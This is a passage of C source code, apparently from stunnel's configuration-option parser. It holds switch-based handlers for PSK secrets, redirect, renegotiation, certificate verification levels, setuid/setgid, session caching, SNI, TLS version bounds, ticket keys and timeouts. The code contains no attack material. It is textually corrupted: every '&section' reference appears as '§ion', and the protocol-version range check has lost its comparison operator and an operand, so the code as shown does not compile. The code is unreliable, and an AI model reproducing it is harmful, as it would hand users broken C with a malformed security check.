case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = username for protocol negotiations\",\n \"protocolUsername\");\n break;\n }\n\n#ifndef OPENSSL_NO_PSK\n\n /* PSKidentity */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->psk_identity=NULL;\n section->psk_selected=NULL;\n section->psk_sorted.val=NULL;\n section->psk_sorted.num=0;\n break;\n case CMD_SET_COPY:\n section->psk_identity=\n str_dup_detached(new_service_options.psk_identity);\n break;\n case CMD_FREE:\n str_free(section->psk_identity);\n str_free(section->psk_sorted.val);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"PSKidentity\"))\n break;\n str_free(section->psk_identity);\n section->psk_identity=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(!section->psk_keys) /* PSK not configured */\n break;\n psk_sort(§ion->psk_sorted, section->psk_keys);\n if(section->option.client) {\n if(section->psk_identity) {\n section->psk_selected=\n psk_find(§ion->psk_sorted, section->psk_identity);\n if(!section->psk_selected)\n return \"No key found for the specified PSK identity\";\n } else { /* take the first specified identity as default */\n section->psk_selected=section->psk_keys;\n }\n } else {\n if(section->psk_identity)\n s_log(LOG_NOTICE,\n \"PSK identity is ignored in the server mode\");\n }\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = identity for PSK authentication\",\n \"PSKidentity\");\n break;\n }\n\n /* PSKsecrets */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->psk_keys=NULL;\n break;\n case CMD_SET_COPY:\n section->psk_keys=psk_dup(new_service_options.psk_keys);\n break;\n case CMD_FREE:\n psk_free(section->psk_keys);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"PSKsecrets\"))\n break;\n section->psk_keys=psk_read(arg);\n if(!section->psk_keys)\n return \"Failed to read PSK secrets\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = secrets for PSK authentication\",\n \"PSKsecrets\");\n break;\n }\n\n#endif /* !defined(OPENSSL_NO_PSK) */\n\n /* pty */\n#ifndef USE_WIN32\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.pty=0;\n break;\n case CMD_SET_COPY:\n section->option.pty=new_service_options.option.pty;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"pty\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.pty=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.pty=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no allocate pseudo terminal for 'exec' option\",\n \"pty\");\n break;\n }\n#endif\n\n /* redirect */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n addrlist_clear(§ion->redirect_addr, 0);\n break;\n case CMD_SET_COPY:\n addrlist_clear(§ion->redirect_addr, 0);\n name_list_dup(§ion->redirect_addr.names,\n new_service_options.redirect_addr.names);\n break;\n case CMD_FREE:\n name_list_free(section->redirect_addr.names);\n str_free(section->redirect_addr.addr);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"redirect\"))\n break;\n name_list_append(§ion->redirect_addr.names, arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->redirect_addr.names) {\n if(section->option.client)\n return \"\\\"redirect\\\" is unsupported in client sections\";\n if(section->option.connect_before_ssl)\n return \"\\\"redirect\\\" is incompatible with the specified protocol negotiation\";\n if(!section->option.delayed_lookup &&\n !addrlist_resolve(§ion->redirect_addr)) {\n s_log(LOG_INFO,\n \"Cannot resolve redirect target - delaying DNS lookup\");\n section->connect_addr.num=0;\n section->redirect_addr.num=0;\n section->option.delayed_lookup=1;\n }\n if(!section->option.verify_chain && !section->option.verify_peer)\n return \"Either \\\"verifyChain\\\" or \\\"verifyPeer\\\" has to be enabled for \\\"redirect\\\" to work\";\n }\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE,\n \"%-22s = [host:]port to redirect on authentication failures\",\n \"redirect\");\n break;\n }\n\n /* renegotiation */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.renegotiation=1;\n break;\n case CMD_SET_COPY:\n section->option.renegotiation=new_service_options.option.renegotiation;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"renegotiation\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.renegotiation=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.renegotiation=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no support renegotiation\",\n \"renegotiation\");\n break;\n }\n\n /* requireCert */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.require_cert=0;\n break;\n case CMD_SET_COPY:\n section->option.require_cert=new_service_options.option.require_cert;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"requireCert\"))\n break;\n if(!strcasecmp(arg, \"yes\")) {\n section->option.request_cert=1;\n section->option.require_cert=1;\n } else if(!strcasecmp(arg, \"no\")) {\n section->option.require_cert=0;\n } else {\n return \"The argument needs to be either 'yes' or 'no'\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no require client certificate\",\n \"requireCert\");\n break;\n }\n\n /* reset */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.reset=1; /* enabled by default */\n break;\n case CMD_SET_COPY:\n section->option.reset=new_service_options.option.reset;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"reset\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.reset=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.reset=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no send TCP RST on error\",\n \"reset\");\n break;\n }\n\n /* retry */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.retry=0;\n break;\n case CMD_SET_COPY:\n section->option.retry=new_service_options.option.retry;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"retry\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.retry=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.retry=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no retry connect+exec section\",\n \"retry\");\n break;\n }\n\n#ifndef USE_WIN32\n /* service */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->servname=str_dup_detached(\"stunnel\");\n break;\n case CMD_SET_COPY:\n /* servname is *not* copied from the global section */\n break;\n case CMD_FREE:\n /* deallocation is performed at the end CMD_FREE */\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"service\"))\n break;\n str_free(section->servname);\n section->servname=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = service name\", \"service\");\n break;\n }\n#endif\n\n#ifndef USE_WIN32\n /* setgid */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->gid=0;\n break;\n case CMD_SET_COPY:\n section->gid=new_service_options.gid;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"setgid\"))\n break;\n gr=getgrnam(arg);\n if(gr) {\n section->gid=gr->gr_gid;\n return NULL; /* OK */\n }\n {\n char *tmp_str;\n section->gid=(gid_t)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal GID\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = groupname for setgid()\", \"setgid\");\n break;\n }\n#endif\n\n#ifndef USE_WIN32\n /* setuid */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->uid=0;\n break;\n case CMD_SET_COPY:\n section->uid=new_service_options.uid;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"setuid\"))\n break;\n pw=getpwnam(arg);\n if(pw) {\n section->uid=pw->pw_uid;\n return NULL; /* OK */\n }\n {\n char *tmp_str;\n section->uid=(uid_t)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal UID\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = username for setuid()\", \"setuid\");\n break;\n }\n#endif\n\n /* sessionCacheSize */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->session_size=1000L;\n break;\n case CMD_SET_COPY:\n section->session_size=new_service_options.session_size;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"sessionCacheSize\"))\n break;\n {\n char *tmp_str;\n section->session_size=strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal session cache size\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %ld\", \"sessionCacheSize\", 1000L);\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = session cache size\", \"sessionCacheSize\");\n break;\n }\n\n /* sessionCacheTimeout */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->session_timeout=300L;\n break;\n case CMD_SET_COPY:\n section->session_timeout=new_service_options.session_timeout;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"sessionCacheTimeout\") && strcasecmp(opt, \"session\"))\n break;\n {\n char *tmp_str;\n section->session_timeout=strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal session cache timeout\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %ld seconds\", \"sessionCacheTimeout\", 300L);\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = session cache timeout (in seconds)\",\n \"sessionCacheTimeout\");\n break;\n }\n\n /* sessiond */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.sessiond=0;\n memset(§ion->sessiond_addr, 0, sizeof(SOCKADDR_UNION));\n section->sessiond_addr.in.sin_family=AF_INET;\n break;\n case CMD_SET_COPY:\n section->option.sessiond=new_service_options.option.sessiond;\n memcpy(§ion->sessiond_addr, &new_service_options.sessiond_addr,\n sizeof(SOCKADDR_UNION));\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"sessiond\"))\n break;\n section->option.sessiond=1;\n#ifdef SSL_OP_NO_TICKET\n /* disable RFC4507 support introduced in OpenSSL 0.9.8f */\n /* this prevents session callbacks from being executed */\n section->ssl_options_set|=SSL_OP_NO_TICKET;\n#endif\n if(!name2addr(§ion->sessiond_addr, arg, 0))\n return \"Failed to resolve sessiond server address\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = [host:]port use sessiond at host:port\",\n \"sessiond\");\n break;\n }\n\n#ifndef OPENSSL_NO_TLSEXT\n /* sni */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->servername_list_head=NULL;\n section->servername_list_tail=NULL;\n break;\n case CMD_SET_COPY:\n section->sni=\n str_dup_detached(new_service_options.sni);\n break;\n case CMD_FREE:\n str_free(section->sni);\n sni_free(section);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"sni\"))\n break;\n str_free(section->sni);\n section->sni=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n {\n char *tmp_str=sni_init(section);\n if(tmp_str)\n return tmp_str;\n }\n if(!section->option.client && section->sni)\n ++endpoints;\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = master_service:host_name for an SNI virtual service\",\n \"sni\");\n break;\n }\n#endif /* !defined(OPENSSL_NO_TLSEXT) */\n\n /* socket */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->sock_opts=socket_options_init();\n break;\n case CMD_SET_COPY:\n section->sock_opts=socket_options_dup(new_service_options.sock_opts);\n break;\n case CMD_FREE:\n socket_options_free(section->sock_opts);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"socket\"))\n break;\n if(socket_option_parse(section->sock_opts, arg))\n return \"Illegal socket option\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = a|l|r:option=value[:value]\", \"socket\");\n s_log(LOG_NOTICE, \"%25sset an option on accept/local/remote socket\", \"\");\n break;\n }\n\n#if OPENSSL_VERSION_NUMBER>=0x10100000L\n\n /* sslVersion */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n /* handled in sslVersionMax and sslVersionMin */\n break;\n case CMD_SET_COPY:\n /* handled in sslVersionMax and sslVersionMin */\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"sslVersion\"))\n break;\n section->max_proto_version=\n section->min_proto_version=str_to_proto_version(arg);\n if(section->max_proto_version==-1)\n return \"Invalid protocol version\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->max_proto_version && section->min_proto_version &&\n section->max_proto_versionmin_proto_version)\n return \"Invalid protocol version range\";\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = all\"\n \"|SSLv3|TLSv1|TLSv1.1|TLSv1.2\"\n#ifdef TLS1_3_VERSION\n \"|TLSv1.3\"\n#endif\n \" TLS version\", \"sslVersion\");\n break;\n }\n\n /* sslVersionMax */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->max_proto_version=0; /* highest supported */\n break;\n case CMD_SET_COPY:\n section->max_proto_version=new_service_options.max_proto_version;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"sslVersionMax\"))\n break;\n section->max_proto_version=str_to_proto_version(arg);\n if(section->max_proto_version==-1)\n return \"Invalid protocol version\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = all\"\n \"|SSLv3|TLSv1|TLSv1.1|TLSv1.2\"\n#ifdef TLS1_3_VERSION\n \"|TLSv1.3\"\n#endif\n \" TLS version\", \"sslVersionMax\");\n break;\n }\n\n /* sslVersionMin */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->min_proto_version=TLS1_VERSION;\n break;\n case CMD_SET_COPY:\n section->min_proto_version=new_service_options.min_proto_version;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"sslVersionMin\"))\n break;\n section->min_proto_version=str_to_proto_version(arg);\n if(section->min_proto_version==-1)\n return \"Invalid protocol version\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = all\"\n \"|SSLv3|TLSv1|TLSv1.1|TLSv1.2\"\n#ifdef TLS1_3_VERSION\n \"|TLSv1.3\"\n#endif\n \" TLS version\", \"sslVersionMin\");\n break;\n }\n\n#else /* OPENSSL_VERSION_NUMBER<0x10100000L */\n\n /* sslVersion */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n tls_methods_set(section, NULL);\n break;\n case CMD_SET_COPY:\n section->client_method=new_service_options.client_method;\n section->server_method=new_service_options.server_method;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"sslVersion\"))\n break;\n return tls_methods_set(section, arg);\n case CMD_INITIALIZE:\n {\n char *tmp_str=tls_methods_check(section);\n if(tmp_str)\n return tmp_str;\n }\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = all\"\n \"|SSLv2|SSLv3|TLSv1\"\n#if OPENSSL_VERSION_NUMBER>=0x10001000L\n \"|TLSv1.1|TLSv1.2\"\n#endif /* OPENSSL_VERSION_NUMBER>=0x10001000L */\n \" TLS method\", \"sslVersion\");\n break;\n }\n\n#endif /* OPENSSL_VERSION_NUMBER<0x10100000L */\n\n#ifndef USE_FORK\n /* stack */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->stack_size=DEFAULT_STACK_SIZE;\n break;\n case CMD_SET_COPY:\n section->stack_size=new_service_options.stack_size;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"stack\"))\n break;\n {\n char *tmp_str;\n section->stack_size=(size_t)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal thread stack size\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %d bytes\", \"stack\", DEFAULT_STACK_SIZE);\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = thread stack size (in bytes)\", \"stack\");\n break;\n }\n#endif\n\n#if OPENSSL_VERSION_NUMBER>=0x10000000L\n\n /* ticketKeySecret */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->ticket_key=NULL;\n break;\n case CMD_SET_COPY:\n section->ticket_key=key_dup(new_service_options.ticket_key);\n break;\n case CMD_FREE:\n key_free(section->ticket_key);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"ticketKeySecret\"))\n break;\n section->ticket_key=key_read(arg, \"ticketKeySecret\");\n if(!section->ticket_key)\n return \"Failed to read ticketKeySecret\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(!section->ticket_key) /* ticketKeySecret not configured */\n break;\n if(section->option.client){\n s_log(LOG_NOTICE,\n \"ticketKeySecret is ignored in the client mode\");\n break;\n }\n if(section->ticket_key && !section->ticket_mac)\n return \"\\\"ticketKeySecret\\\" and \\\"ticketMacSecret\\\" must be set together\";\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = secret key for encryption/decryption TLSv1.3 tickets\",\n \"ticketKeySecret\");\n break;\n }\n\n /* ticketMacSecret */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->ticket_mac=NULL;\n break;\n case CMD_SET_COPY:\n section->ticket_mac=key_dup(new_service_options.ticket_mac);\n break;\n case CMD_FREE:\n key_free(section->ticket_mac);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"ticketMacSecret\"))\n break;\n section->ticket_mac=key_read(arg, \"ticketMacSecret\");\n if(!section->ticket_mac)\n return \"Failed to read ticketMacSecret\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(!section->ticket_mac) /* ticketMacSecret not configured */\n break;\n if(section->option.client){\n s_log(LOG_NOTICE,\n \"ticketMacSecret is ignored in the client mode\");\n break;\n }\n if(section->ticket_mac && !section->ticket_key)\n return \"\\\"ticketKeySecret\\\" and \\\"ticketMacSecret\\\" must be set together\";\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = key for HMAC operations on TLSv1.3 tickets\",\n \"ticketMacSecret\");\n break;\n }\n\n#endif /* OpenSSL 1.0.0 or later */\n\n /* TIMEOUTbusy */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->timeout_busy=300; /* 5 minutes */\n break;\n case CMD_SET_COPY:\n section->timeout_busy=new_service_options.timeout_busy;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"TIMEOUTbusy\"))\n break;\n {\n char *tmp_str;\n section->timeout_busy=(int)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal busy timeout\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %d seconds\", \"TIMEOUTbusy\", 300);\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = seconds to wait for expected data\", \"TIMEOUTbusy\");\n break;\n }\n\n /* TIMEOUTclose */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->timeout_close=60; /* 1 minute */\n break;\n case CMD_SET_COPY:\n section->timeout_close=new_service_options.timeout_close;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"TIMEOUTclose\"))\n break;\n {\n char *tmp_str;\n section->timeout_close=(int)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal close timeout\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %d seconds\", \"TIMEOUTclose\", 60);\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = seconds to wait for close_notify\",\n \"TIMEOUTclose\");\n break;\n }\n\n /* TIMEOUTconnect */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->timeout_connect=10; /* 10 seconds */\n break;\n case CMD_SET_COPY:\n section->timeout_connect=new_service_options.timeout_connect;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"TIMEOUTconnect\"))\n break;\n {\n char *tmp_str;\n section->timeout_connect=(int)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal connect timeout\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %d seconds\", \"TIMEOUTconnect\", 10);\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = seconds to connect remote host\", \"TIMEOUTconnect\");\n break;\n }\n\n /* TIMEOUTidle */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->timeout_idle=43200; /* 12 hours */\n break;\n case CMD_SET_COPY:\n section->timeout_idle=new_service_options.timeout_idle;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"TIMEOUTidle\"))\n break;\n {\n char *tmp_str;\n section->timeout_idle=(int)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal idle timeout\";\n return NULL; /* OK */\n }\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %d seconds\", \"TIMEOUTidle\", 43200);\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = seconds to keep an idle connection\", \"TIMEOUTidle\");\n break;\n }\n\n /* transparent */\n#ifndef USE_WIN32\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.transparent_src=0;\n section->option.transparent_dst=0;\n break;\n case CMD_SET_COPY:\n section->option.transparent_src=new_service_options.option.transparent_src;\n section->option.transparent_dst=new_service_options.option.transparent_dst;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"transparent\"))\n break;\n if(!strcasecmp(arg, \"none\") || !strcasecmp(arg, \"no\")) {\n section->option.transparent_src=0;\n section->option.transparent_dst=0;\n } else if(!strcasecmp(arg, \"source\") || !strcasecmp(arg, \"yes\")) {\n section->option.transparent_src=1;\n section->option.transparent_dst=0;\n } else if(!strcasecmp(arg, \"destination\")) {\n section->option.transparent_src=0;\n section->option.transparent_dst=1;\n } else if(!strcasecmp(arg, \"both\")) {\n section->option.transparent_src=1;\n section->option.transparent_dst=1;\n } else\n return \"Selected transparent proxy mode is not available\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->option.transparent_dst)\n ++endpoints;\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE,\n \"%-22s = none|source|destination|both transparent proxy mode\",\n \"transparent\");\n break;\n }\n#endif\n\n /* verify */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.request_cert=0;\n break;\n case CMD_SET_COPY:\n section->option.request_cert=new_service_options.option.request_cert;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"verify\"))\n break;\n {\n char *tmp_str;\n int tmp_int=(int)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str || tmp_int<0 || tmp_int>4)\n return \"Bad verify level\";\n section->option.request_cert=1;\n section->option.require_cert=(tmp_int>=2);\n section->option.verify_chain=(tmp_int>=1 && tmp_int<=3);\n section->option.verify_peer=(tmp_int>=3);\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if((section->option.verify_chain || section->option.verify_peer) &&\n !section->ca_file && !section->ca_dir)\n return \"Either \\\"CAfile\\\" or \\\"CApath\\\" has to be configured\";\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = none\", \"verify\");\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE,\n \"%-22s = level of peer certificate verification\", \"verify\");\n s_log(LOG_NOTICE,\n \"%25slevel 0 - request and ignore peer cert\", \"\");\n s_log(LOG_NOTICE,\n \"%25slevel 1 - only validate peer cert if present\", \"\");\n s_log(LOG_NOTICE,\n \"%25slevel 2 - always require a valid peer cert\", \"\");\n s_log(LOG_NOTICE,\n \"%25slevel 3 - verify peer with locally installed cert\", \"\");\n s_log(LOG_NOTICE,\n \"%25slevel 4 - ignore CA chain and only verify peer cert\", \"\");\n break;\n }\n\n /* verifyChain */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.verify_chain=0;\n break;\n case CMD_SET_COPY:\n section->option.verify_chain=new_service_options.option.verify_chain;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"verifyChain\"))\n break;\n if(!strcasecmp(arg, \"yes\")) {\n section->option.request_cert=1;\n section->option.require_cert=1;\n section->option.verify_chain=1;\n } else if(!strcasecmp(arg, \"no\")) {\n section->option.verify_chain=0;\n } else {\n return \"The argument needs to be either 'yes' or 'no'\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no verify certificate chain\",\n \"verifyChain\");\n break;\n }\n\n /* verifyPeer */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.verify_peer=0;\n break;\n case CMD_SET_COPY:\n section->option.verify_peer=new_service_options.option.verify_peer;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"verifyPeer\"))\n break;\n if(!strcasecmp(arg, \"yes\")) {\n section->option.request_cert=1;\n section->option.require_cert=1;\n section->option.verify_peer=1;\n } else if(!strcasecmp(arg, \"no\")) {\n section->option.verify_peer=0;\n } else {\n return \"The argument needs to be either 'yes' or 'no'\";\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no verify peer certificate\",\n \"verifyPeer\");\n break;\n }\n\n /* final checks */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n break;\n case CMD_SET_COPY:\n break;\n case CMD_FREE:\n str_free(section->chain);\n if(section->session)\n SSL_SESSION_free(section->session);\n if(section->ctx)\n SSL_CTX_free(section->ctx);\n str_free(section->servname);\n if(section==&service_options)\n memset(section, 0, sizeof(SERVICE_OPTIONS));\n else\n str_free(section);\n break;\n case CMD_SET_VALUE:\n return option_not_found;\n case CMD_INITIALIZE:\n if(section!=&new_service_options) { /* daemon mode checks */\n if(endpoints!=2)\n return \"Each service must define two endpoints\";\n } else { /* inetd mode checks */\n if(section->option.accept)\n return \"'accept' option is only allowed in a 